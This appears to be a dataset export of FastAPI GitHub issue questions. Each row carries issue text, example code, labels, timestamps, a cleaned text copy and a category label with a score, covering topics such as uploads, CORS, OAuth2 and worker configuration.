- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.post(""/ddl"")
async def ddl(
    file: UploadFile = File(...)
):
    with open(""/tmp/"" + file.filename, ""wb"") as buffer:
        shutil.copyfileobj(file.file, buffer)
    df = pd.read_csv(
        ""/tmp/"" + file.filename,
        header=None,
        sep=""|"")
```


### Description

Currently, I have to use the above code which means I have to write it to disk. Is there an alternative way?

### Operating System

macOS

### Operating System Details

-

### FastAPI Version

0.88.0

### Python Version

3.9

### Additional Context

_No response_","question,question-migrate",2022-12-23 07:07:41+00:00,2023-02-27 19:06:52+00:00,1,"question,question-migrate",66.4994,uploading a psv pipe separated values file and using pandas to read the first rows without writing to disk first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description currently i have to use the above code which means i have to write it to disk is there an alternative way macos details fastapi version python version no response,help,0.8945
tiangolo/fastapi,1506341331,Reload does not work with fastapi[all]==0.87.0 or greater,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
## Project Structure
.
├── app
│   └── main.py
├── Dockerfile
└── requirements.txt
└── docker-compose.yml

------------------------------------------------
## main.py

from fastapi import FastAPI

app = FastAPI()


@app.get(""/"")
def get_root():
    return {""message"": ""I am root!""}

------------------------------------------------

## Dockerfile

FROM amazon/aws-sam-cli-build-image-python3.9

RUN mkdir -p /cool-service

# Set environment variables
ENV PYTHONUNBUFFERED=1
ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONPATH=""${PYTHONPATH}:/cool-service""


COPY . /cool-service

RUN pip install --no-cache-dir ... [TRUNCATED]","question,question-migrate",2022-12-21 14:00:26+00:00,2023-02-27 19:06:50+00:00,2,"question,question-migrate",68.2128,reload does not work with fastapi all or greater first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python project structure app main py dockerfile requirements txt docker compose yml main py from fastapi import fastapi app fastapi app get def get root return message i am root dockerfile from amazon aws sam cli build image python run mkdir p cool service set environment variables env pythonunbuffered env pythondontwritebytecode env pythonpath pythonpath cool service copy cool service run pip install no cache dir truncated,help,0.9664
tiangolo/fastapi,1506128578,manage memory consumption when supporting multiple language models,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
app = FastAPI()

model = {""en"": spacy.load(""en_core_web_sm""), ""de"": spacy.load(""de_core_news_lg"")}

@app.post(""/check"")
async def post_check_(text: str):
    lang = detect_language(text)
    tokens = model[lang](text)
    ..
```


### Description

I have a single endpoint that handles both English and German text using the spacy models. These models vary greatly in size and the German one specifically uses up 1GB+ of memory.

Having both models in the same worker, leads to a situation where many requests are being served for English (actually the ratio of English vs. German requests is 2:1), that are using all the memory of the German model... [TRUNCATED]","question,question-migrate",2022-12-21 11:09:09+00:00,2023-02-24 16:29:29+00:00,3,"question,question-migrate",65.2225,manage memory consumption when supporting multiple language models first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i have a single endpoint that handles both english and german text using the spacy models these models vary greatly in size and the german one specifically uses up gb of memory having both models in the same worker leads to a situation where many requests are being served for english actually the ratio of english vs german requests is that are using all the memory of the german model truncated,help,0.928
tiangolo/fastapi,1505751387,Prepare for Pydantic V2 release,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# any fastapi code is OK

from fastapi import FastAPI

app = FastAPI()


@app.get("""")
async def main():
    return ""ok""
```


### Description

Currently, the FastAPI's internal Pydantic models are not compatible with [Pydantic V2](https://github.com/pydantic/pydantic/tree/main/pydantic). 

For example,
- `dependencies/models.py`
- `openapi/models.py`
- `exceptions.py`

As Pydantic V2 is implemented with Rust, it should be quite performant than V1. I suggest preparing for its V2 in advance so that FastAPI can take advantage of it.



### Wanted Solution

We have to solve lots of errors. There are several categories:

- Errors from ... [TRUNCATED]","question,reviewed,question-migrate",2022-12-21 05:56:37+00:00,2023-02-24 16:29:26+00:00,2,"question,reviewed,question-migrate",65.4395,prepare for pydantic v release first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description currently the fastapi s internal pydantic models are not compatible with pydantic v for example as pydantic v is implemented with rust it should be quite performant than v i suggest preparing for its v in advance so that fastapi can take advantage of it wanted solution we have to solve lots of errors there are several categories errors from truncated,help,0.9209
tiangolo/fastapi,1504586904,Fastapi download video with StreamingResponse cause high cpu usage,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import os
import uvicorn
from multiprocessing import current_process
from starlette.background import BackgroundTask
from fastapi.middleware.cors import CORSMiddleware
from fastapi import FastAPI
from fastapi import (APIRouter, BackgroundTasks, Depends, File, HTTPException,
                     Query, Request, UploadFile, status)
from fastapi.responses import (FileResponse, RedirectResponse, Response,
                               StreamingResponse)




def send_bytes_range_requests(
    file_obj, start: int, end: int, chunk_size: int = 10_000
    ):
    """"""Send a file in chunks using Range Requests specification R... [TRUNCATED]","question,question-migrate",2022-12-20 13:45:36+00:00,2023-02-24 16:29:23+00:00,5,"question,question-migrate",66.1137,fastapi download video with streamingresponse cause high cpu usage first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import os import uvicorn from multiprocessing import current process from starlette background import backgroundtask from fastapi middleware cors import corsmiddleware from fastapi import fastapi from fastapi import apirouter backgroundtasks depends file httpexception query request uploadfile status from fastapi responses import fileresponse redirectresponse response streamingresponse def send bytes range requests file obj start int end int chunk size int send a file in chunks using range requests specification r truncated,help,0.9136
tiangolo/fastapi,1501371097,Can `RedirectResponse` return flash messages or context like `TemplateResponse`?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.get('')
async def logout():
    response = RedirectResponse(
        '/login', 302
    )
    response.delete_cookie(key='access_token')
    return response
```


### Description

I would to return flash messages after redirect an request. Actually, I do it using `TemplateResponse` and would be great if we can do it in `RedirectResponse` too!

### Wanted Solution

A simple solution would be if we can return a `msg` arg inside `RedirectResponse` or return the context(`Request`) and pass it inside.

### Wanted Code

```python
@router.get('')
async def logout():
    response = RedirectResponse(
        '/login', 302, msg='Sucessfully log... [TRUNCATED]","question,answered,reviewed,question-migrate",2022-12-17 12:39:42+00:00,2023-02-27 19:06:47+00:00,2,"question,answered,reviewed,question-migrate",72.2688,can return flash messages or context like first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i would to return flash messages after redirect an request actually i do it using and would be great if we can do it in too wanted solution a simple solution would be if we can return a arg inside or return the context and pass it inside wanted code python router get async def logout response redirectresponse login msg sucessfully log truncated,help,0.9776
tiangolo/fastapi,1500170848,"Will FastAPI support QUERY http method? ""app.query""","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()


@app.query('/query/subjects')
def query_subjects(schema: ArbitrarySchema):
    with Session(engine) as db:
        subjects = db.query(Subject).all()
        return schema(**subjects)

# something like this
```


### Description

There is a new HTTP method called QUERY, I discovered it this week and it is super interesting!

https://www.ietf.org/archive/id/draft-ietf-httpbis-safe-method-w-body-02.html

I was trying to make a GET route that would accept a request body, but started receiving an error on Swagger UI:

[TypeError: Request has method 'GET' and cannot have a body](https://githu... [TRUNCATED]","feature,question,reviewed,question-migrate",2022-12-16 13:02:04+00:00,2023-02-24 16:29:18+00:00,6,"feature,question,reviewed,question-migrate",70.1439,will fastapi support query http method app query first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description there is a new http method called query i discovered it this week and it is super interesting i was trying to make a get route that would accept a request body but started receiving an error on swagger ui typeerror request has method get and cannot have a body truncated,feature,0.9714
tiangolo/fastapi,1499188503,RuntimeError using asynpcg and fastapi running async function: Task attached to a different loop,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# api.py
from fastapi import FastAPI

class API:
    def __init__(self, client):
        self.app = FastAPI()
        self.client = client

    async def get_user_locker(self, user_id: int):
        locker = await self.client.database.get_user_locker(user_id)
        characters = self.client.characters.get_by_id(locker)
        return characters

# main.py
from telegram import TelegramClient
from api import API

from threading import Thread

import asyncio
import uvicorn
import sys

async def start():

    client = TelegramClient(""test"")
    await client.start()

    api = API(client)
    api.app.add_api... [TRUNCATED]","question,question-migrate",2022-12-15 22:17:39+00:00,2023-02-27 19:06:43+00:00,8,"question,question-migrate",73.8674,runtimeerror using asynpcg and fastapi running async function task attached to a different loop first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python api py from fastapi import fastapi class api def init self client self app fastapi self client client async def get user locker self user id int locker await self client database get user locker user id characters self client characters get by id locker return characters main py from telegram import telegramclient from api import api from threading import thread import asyncio import uvicorn import sys async def start client telegramclient test await client start api api client api app add api truncated,bug,0.9313
tiangolo/fastapi,1499121154,How to override the default value errors on pydantic validation errors of the responses,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class DiscountItem(BaseModel):
    name: Optional[str] = None
    total: Decimal

@router.get(
    ""/sales"",
    response_model=DiscountItem,
    summary=""Get sales"")
async def get_sales(request: Request):
    return {}
```


### Description

For the example above, you will get a 500 internal server error and on the server you will see ValidationError and value_error.missing

Is there a way to override those errors ? 
For example, catch the errors , do something and then raise the errors again or send a customized error back to the customers ?

I've seen this [example](https://stackoverflow.com/questions/70167626/how-to-prevent-pydantic... [TRUNCATED]","question,question-migrate",2022-12-15 21:32:51+00:00,2023-02-24 16:29:15+00:00,3,"question,question-migrate",70.7892,how to override the default value errors on pydantic validation errors of the responses first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description for the example above you will get a internal server error and on the server you will see validationerror and value error missing is there a way to override those errors for example catch the errors do something and then raise the errors again or send a customized error back to the customers i ve seen this example truncated,bug,-0.875
tiangolo/fastapi,1499010310,BaseModel body validation can be bypassed if List is passed with extra parameters,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [x] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import APIRouter, FastAPI
from pydantic import BaseModel
from starlette.responses import Response


class Model(BaseModel, extra='forbid'):
    id: str


router = APIRouter()


@router.post(""/answer"")
async def answer_the_question(data: Model) -> Response:
    pass


def create_app():
    app = FastAPI()
    app.include_router(router)

    return app
```


### Description

Consider above code.
Endpoint `/answer` accepts data that should be of format `{""id"": str}`
Save above code as main.py and run with `uvicorn --factory main:create_app --port=8009 --reload`

Responses from the following d... [TRUNCATED]","question,question-migrate",2022-12-15 20:01:18+00:00,2023-02-24 16:29:13+00:00,0,"question,question-migrate",70.8527,basemodel body validation can be bypassed if list is passed with extra parameters first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description consider above code endpoint accepts data that should be of format save above code as main py and run with responses from the following d truncated,help,0.9636
tiangolo/fastapi,1498909940,How to add Header to every route in a Router such that there is a Header field visible for every route within the APIRouter when Swagger UI opens,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import json
from fastapi import FastAPI, Header, Request
from fastapi.openapi.utils import get_openapi

app = FastAPI()


@app.get(""/items/"")
async def read_items(x_tenant_id: str = Header()):
    return [{""hello"": ""world""}]


@app.get(""/users"")
async def read_users(request: Request):
    return [{""tag"": ""@jayashankarjayan""}]


def custom_openapi():
    header = {
            ""required"": True,
            ""schema"": {
              ""title"": ""X-Custom-Id"",
              ""type"": ""string""
            },
            ""name"": ""x-custom-id"",
            ""in"": ""header""
          }
    if app.openapi_schema:
        return app.opena... [TRUNCATED]","question,question-migrate",2022-12-15 18:37:28+00:00,2023-02-27 19:06:38+00:00,7,"question,question-migrate",74.0203,how to add header to every route in a router such that there is a header field visible for every route within the apirouter when swagger ui opens first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import json from fastapi import fastapi header request from fastapi openapi utils import get openapi app fastapi app get items async def read items x tenant id str header return hello world app get users async def read users request request return tag jayashankarjayan def custom openapi header required true schema title x custom id type string name x custom id in header if app openapi schema return app opena truncated,help,0.9468
tiangolo/fastapi,1497928545,No 'Access-Control-Allow-Origin' error when redirecting the frontend,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
app.add_middleware(
  CORSMiddleware,
  allow_origins=['http://localhost:3000', 'http://localhost:5173', 'http://localhost:3001'],
  allow_credentials=True,
  allow_methods=[""GET"", ""POST"", ""PUT"", ""HEAD"", ""OPTIONS""],
  allow_headers=[""Content-Type"", ""Set-Cookie"", ""Access-Control-Allow-Headers"", 'Content-Type', 'Authorization', 'Access-Control-Allow-Origin'],
)

@router.put(""/provider-data"")
def temp(data: dict, Auth_Token: Optional[str] = Cookie(None)):
    if Auth_Token is None:
        return False
    user = add_provider_user_data(data[""username""], data[""password""], Auth_Token)
    if not user:
        return False
    return Redirec... [TRUNCATED]","question,question-migrate",2022-12-15 07:22:25+00:00,2023-02-24 16:29:11+00:00,1,"question,question-migrate",71.3797,no access control allow origin error when redirecting the frontend first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python app add middleware corsmiddleware allow origins allow credentials true allow methods get post put head options allow headers content type set cookie access control allow headers content type authorization access control allow origin router put provider data def temp data dict auth token optional str cookie none if auth token is none return false user add provider user data data username data password auth token if not user return false return redirec truncated,bug,0.9784
tiangolo/fastapi,1496206257,How to have a startup run by parent process and later worker process run it.,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.on_event(""startup"")
def startup_event():
    """"""
    Initialize FastAPI and add variables
    """"""
    model_path = ""./model""

    if not os.path.exists(model_path): #GCP
        download_blob(gcp_bucket,gcp_model_path,model_directory,CONST_GCP_PATH)
        
    model = ORTModelForSeq2SeqLM.from_pretrained(model_path)

    app.package = {
        ""model"": model,
    }
```


### Description

I have a REST API, which downlaods the model from cloud and loads it in mermory. I am using worker nodes and all of them are trying to download the model. 
I just want to downlaod the model once and allow the worker nodes to load it in memory. ... [TRUNCATED]","question,question-migrate",2022-12-14 09:51:06+00:00,2023-02-27 19:06:35+00:00,3,"question,question-migrate",75.3858,how to have a startup run by parent process and later worker process run it first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i have a rest api which downlaods the model from cloud and loads it in mermory i am using worker nodes and all of them are trying to download the model i just want to downlaod the model once and allow the worker nodes to load it in memory truncated,help,0.9382
tiangolo/fastapi,1495985681,about uvicorn workers,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
uvicorn main:app --host 0.0.0.0 --workers 4
```


### Description

Q1:
How can I get the parameters of command configs? In this case, I want workers.
for example: 
>>> from fastapi import xxx
>>> xxx.config.workers
4

Q2:
Can I make a request to a given worker? I want assign a path to an appointed worker.
for example: when request ""/some_function"", only worker 1 will process it.


### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.78.0

### Python Version

3.8

### Additional Context

_No response_","question,question-migrate",2022-12-14 07:53:32+00:00,2023-02-27 19:06:33+00:00,2,"question,question-migrate",75.4674,about uvicorn workers first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description q how can i get the parameters of command configs in this case i want workers for example from fastapi import xxx xxx config workers q can i make a request to a given worker i want assign a path to an appointed worker for example when request some function only worker will process it linux details no response fastapi version python version no response,help,0.8402
tiangolo/fastapi,1493223093,Setting OAuth2PasswordBearer tokenUrl with root-path,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from datetime import datetime, timedelta
from typing import Union

from fastapi import Depends, FastAPI, HTTPException, status
from fastapi.security import OAuth2PasswordBearer, OAuth2PasswordRequestForm
from jose import JWTError, jwt
from passlib.context import CryptContext
from pydantic import BaseModel

# to get a string like this run:
# openssl rand -hex 32
SECRET_KEY = ""09d25e094faa6ca2556c818166b7a9563b93f7099f6f0f4caa6cf63b88e8d3e7""
ALGORITHM = ""HS256""
ACCESS_TOKEN_EXPIRE_MINUTES = 30


fake_users_db = {
    ""johndoe"": {
        ""username"": ""johndoe"",
        ""full_name"": ""John Doe"",
        ""email"": ""johndoe@example.com"",
... [TRUNCATED]","question,question-migrate",2022-12-13 02:43:40+00:00,2023-02-24 16:29:08+00:00,3,"question,question-migrate",73.5732,setting oauth passwordbearer tokenurl with root path first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from datetime import datetime timedelta from typing import union from fastapi import depends fastapi httpexception status from fastapi security import oauth passwordbearer oauth passwordrequestform from jose import jwterror jwt from passlib context import cryptcontext from pydantic import basemodel to get a string like this run openssl rand hex secret key d e faa ca c b a b f f f f caa cf b e d e algorithm hs access token expire minutes fake users db johndoe username johndoe full name john doe email johndoe example com truncated,help,0.9313
tiangolo/fastapi,1492842233,`spool_max_size` is ignored in `UploadFile`,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import fastapi


@router.post(""/upload_blog_articles"")
async def injest_blog(
